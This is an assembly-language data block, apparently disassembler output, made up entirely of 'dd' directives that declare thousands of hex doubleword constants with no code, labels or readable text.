		dd 49A793B3h, 0FDD7F20Ch, 0A8A83C6Bh, 0A8EB30E3h, 0AE80C3F6h
		dd 7E730F33h, 567C13C5h, 0A864B11Fh, 600F9DE8h,	8BF8DDF9h
		dd 6C67E514h, 702571ACh, 8E388115h, 36EB6E3h, 0DB0BF8E0h
		dd 44957131h, 7650EAF9h, 0CB8FA140h, 19C15019h,	83E9E6C4h
		dd 0BEFEB8BAh, 5F5AAED7h, 0CCF51C0Bh, 825DDADDh, 0D938ACA3h
		dd 7725D72h, 5DCA068Ch,	0D02D42B3h, 9DF7E017h, 695896F4h
		dd 0E5E959C1h, 8EF958CAh, 848D6E2Eh, 93E615B9h,	0B7FC96DDh
		dd 0D23CF6D6h, 9989BE82h, 34B9417h, 559082DCh, 1E0E73C5h
		dd 0D48DE820h, 92A38F82h, 802B57F0h, 29A83C5Dh,	0D6515789h
		dd 9DFED8D7h, 0E937F5Eh, 0FCFC801Bh, 796A8F2Ch,	249586AFh
		dd 2EE06BE3h, 58F34630h, 0B54ADD43h, 94B113h, 9017659Bh
		dd 434F75B4h, 0B8AAC19h, 7910430Bh, 8E84B019h, 7810A1A4h
		dd 5F3B4AF4h, 0BFCE3FC1h, 254481DFh, 7A15DF1Eh,	96DBCAA4h
		dd 314355DCh, 0F4D4602Dh, 6EB3E633h, 0AAC5DC1h,	0E93923E7h
		dd 88F9E58Eh, 0F301A19h, 4887E3A8h, 6459D45h, 3DF30BC1h
		dd 0A265150Ch, 0CCA8192Fh, 232C1110h, 2C8E9969h, 0C6C81294h
		dd 6C2A2F13h, 9071EF93h, 65CD123Ch, 6207D686h, 6F887782h
		dd 0E41617EEh, 0F640AF29h, 0DC30F81Fh, 0BCA3FEC6h, 0D8600E36h
		dd 71222D3Ch, 639B4AE2h, 9B80FBB7h, 0DFBDE2A0h,	25662E39h
		dd 0FE73A461h, 1B3EFA75h, 26782D34h, 0C2124B68h, 0AEE07111h
		dd 0F61ADDB4h, 872DC1F2h, 159A96A1h, 51D22A8h, 3D9B46F2h
		dd 947EC2FDh, 559D2FA9h, 0A58562A1h, 0A4ECE396h, 0FB5FD60Eh
		dd 0A2DAAFD3h, 7D21D9FAh, 3EFF39F7h, 1FF74FABh,	49882B41h
		dd 0FC84DAFFh, 8A96A339h, 3C41FC87h, 0E976D9E8h, 0B683AC98h
		dd 209D387Dh, 0EA7D787Fh, 0E63CA51Eh, 0FDA75D19h, 7927DE41h
		dd 55A3FF2Eh, 20094E70h, 2A98350Eh, 0E61B19B6h,	0FFC3BEB6h
		dd 0CD89F57Ah, 7780E216h, 0B22F327h, 0E5ECDD55h, 5FECA4A4h
		dd 3B02F2D6h, 0C48BE9A8h, 0CFA50C74h, 4EEDBC05h, 14531273h
		dd 7ABF379Dh, 533AA431h, 0C59AB7D1h, 794DAFB1h,	62E296C9h
		dd 0AECD42B6h, 3690AD6Bh, 3C71CCCEh, 9FC60101h,	12EA215Ch
		dd 1658E07Bh, 0BDFFDBA4h, 234C0BFAh, 254AAABCh,	9C1F13DEh
		dd 654F41B6h, 90CF8CC1h, 0C2C0508Eh, 4FE7E8C9h,	66F0E85Eh
		dd 6312C06Eh, 0C51C0883h, 5BCC58EFh, 0DDD33036h, 4097009Bh
		dd 0B04E95Fh, 0DA86A725h, 0E0556041h, 0D75C9D9h, 0D40826D1h
		dd 5640C97Bh, 73E58D46h, 35FFADE9h, 71458DA7h, 0CE51A504h
		dd 7B08B03Eh, 93825E96h, 0FD303733h, 7D9DA307h,	144CED2Fh
		dd 3B6EBD81h, 0AE5C2DB3h, 0C234C720h, 0BA8A6AEFh, 0BC404535h
		dd 75FC2D4h, 5CD8C318h,	0E8C14F4Ch, 2FF43166h, 75EE8EBFh
		dd 1E337DA3h, 80DBCF94h, 14975D91h, 0AD953B31h,	2FDF7D66h
		dd 93F23075h, 0B774D639h, 0D41B6FA9h, 7F2A932Ah, 3F9AD2AEh
		dd 76C2625Ch, 0CAF0DA2Bh, 8142C647h, 67B10D2Ah,	0BEA88535h
		dd 762A1F4h, 45B1C4E9h,	0C9832052h, 88FBEE4Fh, 0C6004C02h
		dd 4A48B7EEh, 9AABE95Bh, 4311F048h, 0AC7B3F25h,	0C271748Dh
		dd 1126A14Eh, 772646CAh, 66E29183h, 0A287E380h,	2EAC26DDh
		dd 55F59465h, 16664BBCh, 0AD484EF1h, 60D05876h,	0E790B544h
		dd 5F46D2D8h, 0DC5C665Bh, 198D2417h, 5D979F4Fh,	9E29C4ADh
		dd 0DC326AD5h, 0BAEA5B92h, 81045CCAh, 0A4F24BCAh, 9E001C3Bh
		dd 81C4B3DBh, 0B3C643FAh, 0C56977FAh, 0C81575D9h, 252911D9h
		dd 54A0996Dh, 0B53E2E15h, 50D2299Fh, 0C12CFF26h, 7711528Fh
		dd 3726830Bh, 279B8A84h, 0BA5BC4Fh, 33E83689h, 0AEBFD8DFh
		dd 54266B72h, 3605A436h, 0D9E335F4h, 70F13ECh, 34CFBBCh
		dd 4D6E13E0h, 25A7D5FBh, 3FC07E15h, 23E5459h, 0FCC6FF13h
		dd 120094ACh, 77AFFE22h, 1AC0A30h, 0C4C159EAh, 191AF70Fh
		dd 2C65BF0Ch, 0D353E386h, 18F7CCCAh, 0BFEFA3C2h, 0F0CB8119h
		dd 0BAF02C74h, 3C81F616h, 4685D3Eh, 33AFDC2Eh, 6BCF2B26h
		dd 327197CEh, 0F2747054h, 0D05090D9h, 0C7E3F924h, 0D631AE65h
		dd 50CB29DBh, 4E984CFEh, 9E1D6B0Ah, 36B026CEh, 8FF6F139h
		dd 913E7B8h, 0DB8B4752h, 6B1FAB56h, 0C01F6F0Dh,	0C432B175h
		dd 0DE25FCF6h, 0AE0AEB99h, 0A191EA6Ah, 231B9102h, 0D20FAEA5h
		dd 0E4520B49h, 0AE4E095Dh, 2D54E0D6h, 0CC2AEFA9h, 0C568C0F6h
		dd 0B6272D8Dh, 6CD6B3F3h, 0A9E35B39h, 413A6FF9h, 1AB8F508h
		dd 82731109h, 0AAD27BBAh, 0EFCD9B6Bh, 0C047B5AAh, 6700CF39h
		dd 0DF8F4C39h, 1C13A7F9h, 62D5D1E7h, 457E3A4Bh,	0FC1515BFh
		dd 523F69BBh, 0A5E16BBDh, 86A1F806h, 3867AC08h,	0DF999FB6h
		dd 527B0A94h, 9DFA5B0Ah, 0F0A7E4B6h, 0F36A6394h, 9D509561h
		dd 0E750E6FEh, 969A767Ch, 0FB7F4133h, 0F421AF9h, 0A3E52588h
		dd 80667244h, 1DD4FEF3h, 0DD520F89h, 91AACEF2h,	19B668F5h
		dd 9DE3B31Eh, 738AB327h, 0B4899F36h, 672D0A88h,	97425C6Ch
		dd 0EAA3F4FCh, 57BA8286h, 0C22C62BEh, 7EA7A9A0h, 0A7078593h
		dd 9C6C4CEDh, 163CEh, 7281D385h, 7101273h, 7AF9A9A9h, 0A55B73D1h
		dd 655DCD11h, 6C2C74Ch,	0E79A2A5Eh, 0DEFA3290h,	32169476h
		dd 49311AC4h, 0FA8952E8h, 14F03D38h, 4DA1F1EEh,	1CCBF277h
		dd 4988F40Eh, 48134658h, 4B072699h, 0D22896E7h,	8B0BDCF2h
		dd 57FB0376h, 2D998379h, 0F6495C17h, 9A2AC4B3h,	0BDFFF2F8h
		dd 526F2489h, 0DA728D2Ah, 4596F12Eh, 0AB957C54h, 0B77F2AC9h
		dd 0B744B2E2h, 0B548D3D7h, 0EBF3634Ch, 17C7C68Bh, 0E12F0CDh
		dd 64A78E0Ch, 6E72999Ch, 641DDBCAh, 104D5B63h, 0CA57FBAEh
		dd 0E8D6F33Fh, 198828ABh, 312F2E8h, 0B5503876h,	0C673458h
		dd 0D20B10E3h, 0C4CA30A4h, 61264595h, 420549DEh, 89C4B178h
		dd 0A92F99B2h, 266B8ED1h, 0E5E8D977h, 2226BBAFh, 1D28846h
		dd 0DA39DA94h, 0B4D93187h, 793ECEA1h, 0ED17AB06h, 421798D9h
		dd 0F639D4E3h, 0EDC05F16h, 50B75C01h, 0D346B743h, 0ED7D710Ah
		dd 0A7EF04BEh, 3A68C400h, 0D63578Fh, 4F2FC71Ch,	36F0672Ch
		dd 0B56C2B8Ch, 0FDBBE3BDh, 5772A1C8h, 0FC7940Eh, 4F68DE4Eh
		dd 3E14650Bh, 36FEE069h, 0B43C082Dh, 0C6B05F69h, 68AB5604h
		dd 30FC43B6h, 4C27F4h, 85114592h, 52A1FE50h, 745676D2h
		dd 0A6F50BB7h, 0B9CDC3C1h, 0A5FEB486h, 0B95C5A18h, 9B3D2B94h
		dd 0B75B667Eh, 9E8C136Ah, 0CE9880DEh, 0C88C0533h, 2BFC32ABh
		dd 0CA3EC57Dh, 0CAC4E19Ch, 0C1107B49h, 6EBE4217h, 0C4DFBDF6h
		dd 0DD2F165Dh
		dd 0BA799FF5h, 0E79087B9h, 0E2FCA7A4h, 852D29FCh, 95429B39h
		dd 9397A52Ah, 0DA6B5B26h, 19072D65h, 98D0FFBEh,	0B711BCDh
		dd 3D0A4819h, 0A5E7BC6Fh, 9D82CAD6h, 250563AAh,	0B7ED3435h
		dd 0DAA75B3Fh, 2D6CAE2Eh, 9A818E14h, 0BEA4F9E0h, 0BEC94AFBh
		dd 71B6BED7h, 32B80C03h, 9EAE3664h, 0D51C684Ch,	39F22FEBh
		dd 5DDF2DC6h, 8B0DA1Ch,	0B90480BDh, 0B1200AA2h,	1EC30FB4h
		dd 9F86E746h, 8B431DB2h, 14D54A19h, 659A9304h, 0CBD27B2h
		dd 9261AA1Dh, 121A5926h, 827DB5ACh, 0ABD819CEh,	95D700E0h
		dd 5AA18ADBh, 9E954A10h, 514D36FBh, 0B79CC55Ah,	0ED399836h
		dd 0CD7718C8h, 3E6A3A9h, 85520912h, 6844B84Fh, 78C3D9C8h
		dd 0A087D2Fh, 7600F42Bh, 8A912D4Fh, 185CC945h, 8399F0D8h
		dd 0FD6C426Dh, 287EE6C3h, 0A0FC3DA3h, 0AB73C11h, 543A9875h
		dd 0C75A659Fh, 4606FEC9h, 34E6251Fh, 6CAF960Dh,	0F2E8841Ah
		dd 43B75F30h, 424D4B4Ah, 0A770F18h, 0C8E12D08h,	0A9ECB23h
		dd 63AA5E1Ah, 0FA17A32Bh, 1CEC0504h, 1DA9352Fh,	2F16D768h
		dd 5FD28D31h, 59ADF6C9h, 8AE84757h, 46E973DFh, 36D1ED85h
		dd 0D240C20Ch, 0AD640168h, 7012586Fh, 98668DCDh, 5049C30h
		dd 9374025Eh, 0FBD8E067h, 0ABE193D6h, 0CD4C9381h, 0F643225Ch
		dd 5FE23371h, 9780540h,	6CF0BCEAh, 0FDF0F60Dh, 0E72DA313h
		dd 74F95BD4h, 4B0E9FB4h, 41DBE915h, 0D4221290h,	1A5CE430h
		dd 69B6C4E8h, 0E540B8D5h, 678E192Ah, 0BF44263Ah, 29B0C58Dh
		dd 0E048A408h, 40AE5270h, 4A14E299h, 9B51A105h,	2310BC8h
		dd 0F2227878h, 6E18370Dh, 29B010DDh, 36BF74D6h,	0E3CFA419h
		dd 0DF55828Ah, 1852C129h, 0C9751D66h, 8609C8B7h, 3751CDA2h
		dd 0E8C323D2h, 9B0B955Bh, 2F03851Fh, 0A075BBDEh, 0D74DCD9Dh
		dd 0AFB9E83Dh, 0CB3770A2h, 0FE9BFF7Eh, 183EA58Fh, 0FB7FB10h
		dd 0A038949Fh, 73B22E3Ch, 80DE8801h, 0CA81CF5Ch, 5D2F8ED8h
		dd 0FEAAB905h, 0B835F022h, 0BE82C5C2h, 0C3C13E7Bh, 702E36A9h
		dd 0FDE1F236h, 9CF25F93h, 8671634Bh, 34F47F74h,	0BA0AECABh
		dd 9F63768h, 5BB942DCh,	821FDF87h, 8C5091FFh, 73C87BCFh
		dd 0B2090FDCh, 480DE360h, 0F7E00B94h, 0AE66EAB4h, 0DC9EF6FEh
		dd 0C08334EFh, 90663784h, 6E99A650h, 4B92C05Ah,	96D5AC03h
		dd 0E28B84D7h, 0E9BFA393h, 3B7B0972h, 450B43Ch,	6840F8D4h
		dd 0FA134947h, 0D15FD996h, 4095CF4Bh, 0A69D9206h, 2D355247h
		dd 0EBE2F4B3h, 0A5CC7FA7h, 0A0F4A681h, 7131E73Fh, 4AD1373Eh
		dd 52D1002Eh, 84A22FC6h, 0A5638004h, 81937D3Ch,	19B70B24h
		dd 8A7F3B21h, 2EFBCB23h, 97F89D3Eh, 87184BC0h, 819F5415h
		dd 7184A55Ch, 76782655h, 52FE5085h, 8719F9BCh, 352AF448h
		dd 0F4058C4Ah, 0E69F64F3h, 7BF064F6h, 0CF2B215h, 0FDD4372Ch
		dd 49487BC5h, 5A17EBD3h, 0B6B026EAh, 50415AA0h,	81FB8A93h
		dd 0C1AEA9A0h, 20CE3B91h, 33F0DA21h, 7577B403h,	3BD97107h
		dd 0F73BD88Fh, 9E017B2Fh, 6C837D19h, 0ECC6453Ah, 46163E16h
		dd 0D695985Bh, 0F5C83587h, 5FFF422Eh, 0D931758h, 59503736h
		dd 9D04D7Ch, 0BF19112Ah, 0E09D5B44h, 17F24FE2h,	9A088D25h
		dd 8DEE8BF4h, 0A14021CAh, 9F8FBCB8h, 1F1205DAh,	31E3698Eh
		dd 0FF55F2C9h, 0C33E4E83h, 132368Fh, 0CE6A7873h, 6948BF21h
		dd 0DE1061Ch, 939BCB5Fh, 6A651A4Bh, 9141EC5Bh, 94613B5Fh
		dd 0FF3482A1h, 6254F765h, 0AAE8F5B9h, 0CEDAAEA3h, 5DFFF067h
		dd 0D4C8C40Ch, 94B0618Fh, 18754011h, 70045D91h,	39875668h
		dd 8068CEB6h, 67D07580h, 4F2B8056h, 9E97F70Ch, 0E30DE03Ah
		dd 70C1B3FAh, 0FED772A5h, 5F49F4C2h, 7CBBFDB2h,	64B0DB0Eh
		dd 543D0D80h, 79E18527h, 5FB7A3FCh, 5BB25577h, 101C96DCh
		dd 709B84Ch, 2261BF6Fh,	0B11441Ch, 14938E51h, 5DE3768Eh
		dd 144C5FA3h, 83264EAFh, 0D852DEBAh, 2374DFECh,	225466Bh
		dd 622DA1B4h, 458FA818h, 37148AF1h, 8AE37562h, 92650698h
		dd 0D42D6E09h, 1888896Ah, 8327331Eh, 4EA2CB0Fh,	0C7D3486h
		dd 0B583B6DFh, 629FC9F8h, 0CEFECE8Dh, 51BD653Ch, 0B4D9FEDEh
		dd 0B6149AD0h, 0CAA64407h, 257793BCh, 0D1379A57h, 0B65D6492h
		dd 1E3E7BDDh, 0CD8C71FCh, 8308BA19h, 3FCC71D2h,	56F5E132h
		dd 0C9613F76h, 5B928107h, 0C9627399h, 0A8C7B8C3h, 7B81255Fh
		dd 0A31D2CBFh, 2D51AE8Ch, 98374F5h, 6FFCEE64h, 53DD4423h
		dd 5ECCAA30h, 0B6A5F3EEh, 99AFFA5Eh, 51402FAAh,	8B8F8FEAh
		dd 65E07A23h, 56003D50h, 41FCCD8Dh, 0A7132DCBh,	1BE41DEDh
		dd 0C973F80h, 0EB173EDCh, 0D90D1CF0h, 0F93C1094h, 0D8AAEF70h
		dd 3B1F5528h, 0B1B59F81h, 8491A8C0h, 24E081BFh,	0A24BF23Bh
		dd 0B1058C17h, 0B83CD65Fh, 85D03EA4h, 0A1A4386Dh, 0BC74E4A1h
		dd 1C3216B3h, 0DC378CB2h, 0C261DA4Fh, 0B849F3E5h, 67137176h
		dd 0D8F01AF7h, 0E5C1B34h, 8A4AF42Bh, 0F7A1AF72h, 2B65573Bh
		dd 0A2C18207h, 8AB26B4Ah, 4FCDE5E1h, 0D79DAFDCh, 22A91C01h
		dd 668BBF34h, 0ACC8FC3Dh, 5AF710D1h, 0DAAAAC7Ah, 0D719F034h
		dd 80507591h, 2CC02944h, 0D9550ECDh, 282C0624h,	0FC63CDB8h
		dd 4329914Ch, 329E23D6h, 0AABAE9C5h, 484B95ABh,	9612CAB9h
		dd 7F52FABBh, 8AAF3B6Eh, 6511B312h, 0F8974009h,	6C9C7446h
		dd 0A465BD40h, 0FB857F92h, 76370EF5h, 0F68C4E2Bh, 42BF6877h
		dd 0F3C4C5B3h, 8D146408h, 362DD7B4h, 20B488B8h,	49A7D479h
		dd 60B2DA1Eh, 1FC17E86h, 6D00CF67h, 8BD4D87Fh, 0F1DBFDDEh
		dd 87270368h, 528019BAh, 440C4CD1h, 0AE132FE4h,	0D87464ADh
		dd 0EC57D5FEh, 89772C93h, 117109FFh, 0C483961Ah, 6B81A88Fh
		dd 85B8C00Eh, 2D45D574h, 0D4B0F887h, 8EC0D753h,	9168ED4Ch
		dd 7A594AEh, 3DD5EC45h,	69A12BBFh, 0B2532B87h, 48220D7Ah
		dd 92FEF7B3h, 0BE9050B4h, 0D4EFE103h, 5533F932h, 41A7C31Ah
		dd 0E701EF34h, 5722C0DCh, 65E6E69Eh, 1E434BD4h,	0CC0B7792h
		dd 0FD333497h, 27162AAEh, 6D807C67h, 64638401h,	8411A69Bh
		dd 0E93CCA76h, 1FDAB3F0h, 9203A9A3h, 523036A8h,	732038FCh
		dd 14595D7h, 6D61A31h, 0D6317BCBh, 99645A21h, 97A633Dh
		dd 3FB430CFh, 8462F6Dh,	8CD043BDh, 0B219B127h, 6D5A82F0h
		dd 4DE4DE76h, 4293F5CBh, 0D5734494h, 0FFEB1AEAh, 6DCF133Bh
		dd 83A5D858h, 4EB26DB7h, 0F871F3FAh, 0BA65BD32h, 59FFB122h
		dd 6CC54E9h, 407124D8h,	0C0E0CA54h, 4262F394h, 73B9AD64h
		dd 0F1D29AABh, 0CB2E1DA8h, 0C005E78Bh, 0E3BA5833h, 0DBAA8BC4h
		dd 0D8BD4521h, 0D2DE1C9Ch, 72FB7645h, 9E8D0F49h, 704A71ACh
		dd 0F464B258h, 7D60B9DCh, 80ACEACEh, 647E237h, 41822EDh
		dd 0E545FCA0h, 2A8AE880h, 0A7860AE5h, 96EB53B4h, 94F92A0Dh
		dd 7D180C41h, 121C2D54h, 0C3CC4F30h, 31B41A79h,	0ECDE0C7Ch
		dd 0E1BED09Bh, 9653E52Bh, 40986402h, 0B83D2D96h, 1FA1BD89h
		dd 0A3B672DCh, 8796B51Ah, 3AC1B1D5h, 0D3E75828h, 6EC7071Bh
		dd 69DE63ECh, 0AD7CDBABh, 12B66B0Bh, 41C8857Ch,	7194DD2Ch
		dd 0CFEB5916h, 57844852h, 0E5399D3Eh, 0ABD91929h, 4D7DDDFCh
		dd 7ED14614h, 9604B281h, 13240CFAh, 6EB2B379h, 8DBAF0Dh
		dd 0BA1013FBh, 79DB80B0h, 0F992AD6Fh, 2E6C7134h, 747E6B5Bh
		dd 9CC8F51Bh, 0C7FBAB54h, 0A0A9E0F6h, 0DAB86A32h, 1BA612C2h
		dd 0A581E393h, 19AE2893h, 7133425h, 0AA7CC51Dh,	0A1078471h
		dd 843E51E2h, 2BC336BFh
		dd 3A28D04Eh, 0B9B0FECEh, 8B3BD491h, 0CBD0F7E6h, 775AD740h
		dd 70843C1Fh, 0F2BE491Dh, 0E1E6B90h, 6AA0389Ah,	0ED9E49C1h
		dd 4518E740h, 88774973h, 2D8A5E12h, 38CB9B8Bh, 182B23DEh
		dd 6C4908FAh, 68E5CF0Bh, 812E1364h, 0C327DE5Eh,	0AEBD5563h
		dd 0B9D7EADh, 6BFD446Bh, 79A55EE5h, 0CEDF6DFDh,	0C59B8E9Ch
		dd 5B39E22Fh, 0A191BCBEh, 0AA1F8637h, 0D3EAFE6h, 0CE57BF7Bh
		dd 34C0343Dh, 7563980Dh, 84B06C9Dh, 0A5B9C54Eh,	24BD394Ch
		dd 87C9A481h, 9B9E7697h, 9FEAD739h, 0B16F28E7h,	0FB9DE2A9h
		dd 0A4985EC5h, 43E377B8h, 0F8921CB0h, 0AE3DBA4Eh, 96046F2Dh
		dd 27960423h, 517EA750h, 300EDC53h, 85653EE0h, 1C784972h
		dd 87D05094h, 0ACEE1A61h, 738464C9h, 0C06A71FAh, 3DC54A2Fh
		dd 7C72392Dh, 28EE424Ch, 8F2F0710h, 4504333Ah, 6C282C5Fh
		dd 44A9CD4Bh, 0F728960Bh, 2967AB72h, 44F2E523h,	5B880434h
		dd 768DDCB6h, 55B7762Eh, 29AC82DDh, 0C7AF6416h,	0AA95FD41h
		dd 2B1C256Fh, 0D8765612h, 155CDA1Ah, 7431A308h,	261D4EBBh
		dd 6A24B96Bh, 87416CD4h, 0FF48D5CBh, 152CEE70h,	839DFC6Fh
		dd 1DEEB4C6h, 0A7FD3D7Fh, 0F18E6E25h, 46878F66h, 4D41CF1Dh
		dd 4814FCCBh, 0D2CB42C5h, 322B5FFAh, 54E04CBh, 5229A27Dh
		dd 18C6AF28h, 39C91D23h, 0A532F0AFh, 0F646DE2Fh, 0E4BF70C3h
		dd 5A7A5A85h, 0DB414A6Eh, 0EFD43FD8h, 0CCCDB0D3h, 4D63DD55h
		dd 191DFBFDh, 0AF9B8274h, 9E92E90Eh, 4AB91D13h,	82E50185h
		dd 7F9EF4EEh, 48AB1886h, 168D99AAh, 44E39A20h, 5596DF87h
		dd 0D9B6EF42h, 50036F1h, 0B98DBB18h, 91A81D9Eh,	2CDD8BD3h
		dd 5815BC95h, 1AD9CA5Ah, 5CF363B9h, 0D3A05E03h,	0A39EFA5h
		dd 9CE805D0h, 0B5D90F25h, 0AD85CBDBh, 0D91DD8A5h, 16C06EE9h
		dd 2E44A718h, 839D11A4h, 2BEBE3AFh, 79A667E2h, 2BDF4C2Ch
		dd 0C4B64A70h, 534BD914h, 0A1C57EDh, 495A9044h,	0DD164740h
		dd 561FE2A4h, 0FC86296Ch, 6A82C879h, 91086BEEh,	79823703h
		dd 402A1938h, 0D50F148Fh, 0E6717311h, 581FFBB3h, 0A6656656h
		dd 0E94BB0ACh, 5F38DB95h, 0D6223D60h, 481FB48Fh, 2E35D794h
		dd 0A2EB612h, 4618F66h,	21FD63Ah, 564F3F97h, 0DD96C903h
		dd 859BA7DBh, 0E19D3E21h, 131D5DAEh, 0C44324D6h, 6F20A054h
		dd 35F38BEEh, 88345563h, 75FAE10Dh, 1EB58B45h, 14606E42h
		dd 0A2CEAC5Ch, 13445A48h, 6DF5688Dh, 8DE09C09h,	4FB6078Ch
		dd 909B1505h, 0EA87023Ch, 27130EDEh, 559086C8h,	3395DC6Fh
		dd 22254E24h, 76A58320h, 0B46A8E45h, 3BE38F1Ch,	0DCBD391Dh
		dd 667D42D4h, 462E07A2h, 3DC204A9h, 8DBCC263h, 0B9ED3DABh
		dd 0B7ED3499h, 0A4DBE53h, 2C4E2381h, 9FB28787h,	4F2A9744h
		dd 538BAAAFh, 0CF427F24h, 0AB507511h, 608265ACh, 50FD4628h
		dd 0ABD7D749h, 3A1C12A7h, 15421752h, 0C3103B17h, 170C90CAh
		dd 4CEC369Ch, 7A0F4C2Fh, 0A19F5110h, 632B624Eh,	18F3C671h
		dd 371D0F64h, 2175D724h, 36193D5Ah, 0C292F277h,	0FB0333BFh
		dd 0FD5F4616h, 5B60FC6Dh, 67D545F0h, 591F2C28h,	0DB1B7B64h
		dd 0B2FC56AAh, 94F432DCh, 81FACB1Ch, 2062AA8Ah,	0B197C9Fh
		dd 0C4EC692Eh, 0F647FAE0h, 47866FA3h, 2C86A557h, 19E2DE8Ah
		dd 95FB2A07h, 379B2581h, 0F2C96468h, 1B0616F1h,	5490FFC1h
		dd 0FBCDE324h, 8B3487CAh, 0C2C0A1ADh, 0EA0CF94Ah, 0FE6514C0h
		dd 1FE2B3F5h, 92C37608h, 609E83D6h, 3C3C75BFh, 0C7174CBCh
		dd 0B40DE4A1h, 6E6017B0h, 8674323Bh, 71B05B97h,	648A6D9Dh
		dd 51866946h, 5D5B2673h, 1FA1E868h, 47CF129Ch, 1FBCA7C4h
		dd 1B39AB9Eh, 76E53661h, 0A1856105h, 71D0971Fh,	0DD6366BDh
		dd 0CE49E9FBh, 0A6DB1412h, 482A9AD1h, 7EAA0FC2h, 0E3670C30h
		dd 15B9C4A8h, 923C5181h, 0E0219A79h, 0D74A7EDCh, 730E38E4h
		dd 0D6F8209Ch, 0DE3E5F79h, 0BA961928h, 0C64BD3B8h, 0A27EDB90h
		dd 845972BAh, 5327BC42h, 0B3ADF024h, 0EE693D4Dh, 9C653A7Dh
		dd 0B5714710h, 0ABD957DFh, 7573B68h, 6767AB87h,	32A75BC3h
		dd 0B6AE1663h, 391BB3D5h, 55924A0h, 0BA51795Ah,	1ED8F3BBh
		dd 0F679CBAAh, 0A6210E41h, 3C3D1455h, 408D6EB2h, 0D4C63E77h
		dd 0A22EE29Eh, 0BB665BA0h, 7FDEF44Fh, 657124D2h, 9C4B1796h
		dd 6AE5C06Fh, 7255302Eh, 9872FF68h, 1F25B105h, 6027E2C6h
		dd 0D3B5894Fh, 3DAF23Ch, 645CA05Eh, 0DB299707h,	0D6DC982Ah
		dd 0E25A602Bh, 0E6940FDEh, 21D1E299h, 0A634726Fh, 0C5BF442Eh
		dd 6778BD49h, 2289D7E0h, 9E129CC2h, 79C7AD00h, 9E62B9B3h
		dd 5644FAAh, 96A7E143h,	51A2531Eh, 8730EDFDh, 0E3CDA1FCh
		dd 0E4930559h, 64FE7791h, 0A5EB0029h, 51FD3D1Fh, 2AC5A399h
		dd 76F10DEAh, 0A92E9F50h, 7B4E603Fh, 3FD20C5Dh,	6460848Dh
		dd 158DDE97h, 0EDB32F33h, 0C202BAh, 5B97D939h, 0BEB2F528h
		dd 0D12B54E6h, 4545EE57h, 0A464CAADh, 40F4BC1h,	5A85E48Fh
		dd 0D35F1E8Dh, 0E46A9103h, 3CA78084h, 9C144038h, 62E3FB3Dh
		dd 66AFCABFh, 0E76FBA1h, 9E2170E6h, 0F224A4DFh,	48766625h
		dd 49FCD394h, 1D4C481Fh, 74A8CEFAh, 6A35402Ch, 4AE7EEA6h
		dd 761DEE0h, 8A9321C2h,	32B16960h, 2A59871Ah, 281E982Eh
		dd 0A81AA9A4h, 0AA4D1036h, 0BA6AB236h, 6894DE61h, 36B10663h
		dd 0EC3DF122h, 16866069h, 0BCD4BDh, 0B4AACBD1h,	601F74EDh
		dd 96A6765Ch, 1F7396FCh, 31131BD1h, 0AD303AA1h,	26762D84h
		dd 0E1FBA057h, 2DAFBC06h, 34CA923Eh, 9460BFB2h,	6B736272h
		dd 0B2077F14h, 0F2C422FEh, 4D466192h, 5EB18211h, 16390AB8h
		dd 4086EF2Ah, 0A525B767h, 0A1156A68h, 313D796h,	8BEB594Dh
		dd 2041766Ah, 3B6A6615h, 0A24A42CCh, 0F0A44C5Ch, 8C605CB1h
		dd 5763CBC0h, 304E7F51h, 0E08D930Dh, 0AE7ED9A5h, 6E6EF0DBh
		dd 75770E0Fh, 718C2EC6h, 0D0BEB80h, 2774AE8Ch, 36A9476Dh
		dd 9FA91BC3h, 0E5E44E05h, 7A219306h, 95AF5C66h,	0CE934B5Dh
		dd 0BC915FA1h, 0F3234674h, 0CB3900CFh, 0F969D351h, 8A7D0AB9h
		dd 0AE5E3DC0h, 79C183BAh, 16B2BACDh, 4392C606h,	0BF64E647h
		dd 6FB78C66h, 658868E9h, 45069062h, 0DA1DBCA3h,	9A27AF3h
		dd 0A64250CEh, 0B676A51Ah, 0FDAB52Dh, 354EC5F4h, 0D5C69529h
		dd 1FF8C1A4h, 41682D27h, 0EEF5A4F7h, 0B0A9A05Eh, 7BD3C9A0h
		dd 6BAC5C21h, 94E096FAh, 0D7B5A783h, 0C1A4BB63h, 66E5D75Ah
		dd 2A1BFB24h, 885E6645h, 97E258EAh, 1BB34826h, 22E9C6DAh
		dd 5A7E94A3h, 483363C4h, 2566EA36h, 409CFD5Fh, 5AD55D4Ch
		dd 601D5D76h, 165F4CF1h, 7AC12F49h, 0F1EC619Ah,	0D56BE92Eh
		dd 0A61647D5h, 9B26A391h, 0C0E655A2h, 2AAE922Ah, 7D57BD46h
		dd 0F371D1C6h, 3A9A10F9h, 0F78C401h, 24FBC097h,	56C8D956h
		dd 0CF7CCD9Ah, 0B6BC1D77h, 0CDA55BB7h, 0CE4C6E53h, 0F01BFE36h
		dd 47FB804Dh, 62F9E557h, 8D3CCE9Ch, 0A132F4D4h,	0B4AA5AD6h
		dd 0D63BC739h, 0E79D4F0Ch, 0ABA0FD73h, 51640E9Ch, 686FDDEFh
		dd 37CA873Fh, 0A64A694Bh, 0FC0EE18Dh, 6723E440h, 0CB7C4F5Dh
		dd 6CC2AB6Bh, 0FE4284CAh, 58EF6D78h, 72A83770h,	76E29E14h
		dd 287873E1h, 0EFCC40A2h, 9C6D8784h, 5E6669AFh,	0DD994979h
		dd 4E9ADE2Dh, 0F5B76501h, 0B363E170h, 0C696E51Eh, 0C81E4290h
		dd 3E10028Ah, 92039CC5h, 0B1AD36B9h, 5B567A91h,	0B057939Eh
		dd 2CE95DC0h, 0DDEBB5A8h, 22F18798h, 330CDB3h, 0E58AD91Ah
		dd 8D5FE8C3h, 65049D6h
		dd 758BA599h, 989716A4h, 3B2F5232h, 68BAB69Fh, 8B3659B4h
		dd 4E5B316Eh, 41A185D8h, 0E53A66A8h, 0B798C78Fh, 0E7225842h
		dd 687E5995h, 0F96D7605h, 91FBC643h, 6038C442h,	8992731Bh
		dd 29E42D10h, 0E2C7EB00h, 0EB92DDF4h, 543CF578h, 0FA374F87h
		dd 59A2FE1Bh, 5A02554h,	45B54384h, 0ECCC76BCh, 826D3AA8h
		dd 83AF4D17h, 59C41185h, 7A2FE927h, 0F64890FBh,	3B5B057Bh
		dd 22E069F8h, 3C2C2654h, 7E7BD7D7h, 1F026519h, 3E2D02ADh
		dd 1C35E927h, 21111320h, 0B80570A1h, 1BD80F48h,	3DCD0527h
		dd 9315354Dh, 0B5630E6Ch, 28CBCAh, 0F77315BDh, 840A5ABFh
		dd 0C308AA19h, 968646E9h, 7F04F421h, 0FE61034Fh, 40D61016h
